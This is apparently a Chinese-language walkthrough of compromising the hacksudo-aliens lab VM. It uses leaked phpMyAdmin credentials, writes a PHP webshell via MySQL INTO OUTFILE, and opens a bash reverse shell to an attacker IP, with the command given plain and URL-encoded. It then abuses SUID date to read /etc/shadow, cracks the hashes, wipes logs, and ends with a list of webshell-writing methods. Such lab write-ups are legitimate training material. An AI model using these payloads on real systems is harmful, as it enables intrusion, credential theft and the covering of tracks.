前言
靶机:hacksudo-aliens
攻击:kali
都是采用虚拟机的形式,网卡桥接模式
主机发现
使用arp-scan -l
或者netdiscover -r 192.168.1.1/24
进行探索
信息收集
使用nmap扫描
两个http
服务,一个ssh
服务
网站信息
访问查看
访问80端口
查看页面源代码,可以发现一个作者的人名vishal waghmare
访问9000端口,发现是phpmyadmin
的管理界面,也就是数据库的一种管理工具
目录扫描
可能是目录型,尝试进行目录扫描
使用dirsearch、gobuster、ffuf、dirb、dirbuster
等工具
使用dirsearch
扫描,多出一个README.md
文件,访问,应该是模板
访问backup
,发现数据库的备份文件
点击下载后进行查看,这个信息可能有用,等会测试
打开图片目录,有一张图片,不只有无用处,先记住
尝试扫描9000
端口,发现挺多
不过这里先看一个,记住其版本
漏洞寻找
在80
端口的信息,基本上指向的是9000
端口,所以这里以获取的用户名和密码进行登录测试
用户名vishal
,密码hcaksudo
点击用户账户,可以看到当前用户的一些相关设置
虽说vishal
的权限与其他差不多,但是还是需要收集,因为这里的hacksudo
数据库中,没有任何数据,可能对该用户没有放开。查看其他用户的密码
这里发现root
的密码与vishal
一样,但是登录root
发现,数据库中依然没有数据
解密其他用户密码,不过这里学到了这种类型的密码,是mysql5
类型
以hacksudo
和shovon
用户登录还是没有数据,不过收集到几个连接到数据库的用户名和密码
用户名 | 密码 |
---|---|
vishal | hacksudo |
root | hacksudo |
hacksudo | 123 |
shovon | 123 |
phpmyadmin | root |
尝试把上面的数据写入一个word.txt
中,然后使用hydra
尝试爆破ssh
,并没有发现任何东西
尝试使用searchsploit
搜索有无漏洞可复现,发现并无对应的版本
把之前的图片下载尝试从图片获取,也是没有信息,这时候看了一下网上的wp
,因为实在不知道还有什么。
看了之后发现,80端口压根没有加载完整,我真的服了,可能是因为在虚拟机环境的原因,加载不动,我这里在物理机的浏览器访问
但是这里物理机访问也是很慢,估计资源加载的应该很多,猜测可能存在大量的js
或其他的资源加载,所以目录扫描重新设置
发现之前漏扫的类型,说实话,真的吃资源,我这一个靶机,加载这一个界面,磁盘占用soso的快
不过访问后还是不能有其他操作,啧,突然想到之前在phpmyadmin
中看到有几个用户是具有写权限的
并且在backup
下载的mysql.bak
中是有目录泄露的,之前截图未截取,这属于后半段的内容
漏洞利用
这里可以尝试通过mysql
命令写入shell
到指定位置,不过,有的方式需要条件
这里查看mysql
数据库版本
可以使用outfile
select "<?php system($_REQUEST['cmd']);?>" into outfile "/var/backups/mysql/shell.php"
或者这里直接php一句话木马也可以,然后直接使用蚁🗡进行连接即可
不过测试,发现上面的路径没有权限写入,那么换路径,比如默认的apache2
网页界面/var/www/html
select "<?php system($_REQUEST['cmd']);?>" into outfile "/var/www/html/shell.php"
使用浏览器访问进行测试
查看有无nc
命令
构造bash
反弹
bash -c 'bash -i >& /dev/tcp/192.168.1.16/9999 0>&1'
进行url编码后
bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.1.16%2f9999+0%3e%261%27%0a
首先在kali
中开启nc
监听9999端口,然后浏览器执行
提取
使用find
寻找具有SUID的文件
刚开始发现有sudo
,但是当前用户,无法使用,再看有date
,之前没碰到,查看帮助文档
可以查看文件一次,并且还是具有SUID
的。这么看可能不清晰,访问一个网站查看gtfobins.github.io
查看/etc/shadow
文件
后面还有hacksudo
的,太长,就没截图
那么就可以把相关的有密码的复制到kali
的一个文件中,然后查看/etc/passwd
,把相关的复制到kaili
的另一个文件中,然后使用unshadow
整合到一起,使用john
进行破解
这里先爆出,就先登录测试
寻找具有SUID的文件,虽然有sudo,但是还是无法使用
查看第一个,发现该文件是可执行文件
直接在网站搜索,看有无可用gtfobins.github.io
执行命令,注意,是执行当前目录下的这个命令
痕迹清理
清空/var/log
中的一些日志
删除/var/www/html/shell.php
脚本
总结
- 主要在于信息收集,然后进行登录
phpmyadmin
后,如何进行一个反弹shell
- 对于
mysql
写入shell
的几种方式,放在下面 - 对于一些具有SUID命令该如何使用,才使得可以提升权限
- 这两次的权限提升,都是具有SUID,主要是如何利用
mysql语句写入webshell
的几种方式
以下涉及的位置,都需要绝对路径,并且有权限
- 新建
select
方式
select 【shell】 into outfile 【位置】
mysql 5.6.34版本以后 secure_file_priv
的值默认为NULL,限制无法导入和导出文件
- 表插入
insert into 表名('元组名') valuse (【shell】)
不过还是需要通过上面的导出方式,把数据放入指定的文件中
- 日志写入
show variables like '%general%';
需要全局日志开启general_log
,并且,需要指定一个php
文件
这时候指向语句,会把没执行的语句记录到日志
select 【shell语句】